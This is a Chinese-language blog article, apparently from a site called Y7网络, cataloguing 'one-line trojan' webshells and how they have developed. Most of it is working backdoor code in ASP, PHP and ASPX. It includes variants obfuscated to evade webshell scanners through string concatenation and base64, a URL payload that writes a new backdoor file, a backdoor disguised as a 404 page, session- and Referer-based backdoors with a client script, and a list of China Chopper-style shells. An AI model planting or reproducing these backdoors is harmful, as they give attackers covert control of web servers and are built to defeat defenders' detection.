- A+
一句话木马有哪些种类
都说一句话木马很经典很强大,那么我们最初的一句话木马是怎样的,到如今又发展成什么样了呢?本文主要从一句话木马的前身到现在的发展做一个简单的介绍。
一般渗透到最后阶段,就是获取权限,然后进行相关的操作,而这个最常见的方式就是执行一句话木马,从客户端进入连接服务器。
众所周知,一句话的原理很简单,同时,它也极容易进行衍生,这样最终就是黑帽子们不断的去隐蔽木马或者构造不同的防过滤后门,白帖子们就经常的会使用不同的方式来清除。
【一句话原理】
不同的语言它构造一句话的方式一样,常见语言的一句话如:
/*asp一句话木马*/
<%execute(request("value"))%>
/*php一句话木马*/
<?php @eval($_POST[value]);?>
/*aspx一句话木马*/
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
而这个最常见的,对于白帽来说,很容易就能够检查出来,那么黑帽就会想尽各种方法,将这些内容进行隐藏,比如隐藏到不同的网页文件中,不同的代码中,或者伪装成脚本等等。
【一句话简单变形】
很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。于是可以简单变形不出现eval:
<?php $_GET['a']($_POST['b'])?>
同理,传给a值为 @base64_decode(base64编码过后的eval)。
<?php $_GET['a']($_GET['b']);?>
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%
29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
通过对GET请求的URL构造而形成利用,左括号和右括号是URL编码,解码回来如下:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w)
,base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
PHP接收到GET请求后相当于执行一个assert函数,并把b作为assert的参数。b里面使用略php的base64解码函数,把部分信息通过base64编码而绕过扫描,解码后如下:
?a=assert&b=${fputs(fopen(c.php,w),<?php @eval($_POST[c]); ?>1)};
执行后当前目录生成c.php文件并写入一句话木马,这已经算是一个非常隐蔽的木马了。而在PHP后门的变形之路上,远远不止这些,甚至可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。
【一句话改良版】
1、隐藏在404页面中
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body>
</html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
一般404页面放好后,很少有人会定期对404页面进行检查和修改。如果在404页面挂上了一句话后门,一方面不会被发现,另一方面,黑帽子很容易能定位到并连接上服务器。
2、无特征隐藏PHP后门
利用session:
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode'] && preg_replace(''a'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION['theCode']))','a');
利用$_SEESION变量来绕过扫描,将$_POST['code']赋值给$_SESSION['theCode'],然后eval执行SESSION的内容。
利用HTTP_REFERER:
利用请求中的HTTP_REFERER来运行经过base64编码的代码,达到后门的效果,使用两个文件。
<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = [
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
];
curl_setopt_array($ch, $options);
echo curl_exec($ch);
访问2.php,会构造一个会话,进到后门1.php那里。然后在HTTP_REFERER 的内容也会传递给1.php,通过1.php 执行内容。一般来说,防火墙会对 referer字段宽松一些,就可造成绕过。
【常见的后门】
//菜刀一句话
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//危险的include函数,直接编译任何文件为php格式运行
$filename=$_GET['xbid'];
include ($filename);
//重命名任何文件
$reg="c"."o"."p"."y";
$reg($_FILES['MyFile']['tmp_name'],$_FILES['MyFile']['name']);
//菜刀一句话
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//gif插一句话
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
include ($uid);
//典型一句话
<?php eval_r($_POST['s'])?>
<?php @eval_r($_POST['s'])?>
//使用lanker一句话客户端的专家模式执行相关的php语句
<?php assert($_POST['s']);?>
<?$_POST['a']($_POST['b']);?>
<?$_POST['a']($_POST['b'],$_POST['c'])?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>
<O>h=@eval_r($_POST1);</O>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>
关于一句话木马的不同版本就介绍到这,更多相关内容可以了解 JS跳转代码主要有哪些。
- Y7网络QQ群
- 482772634
- Y7微信公众号
- 我的微信公众号扫一扫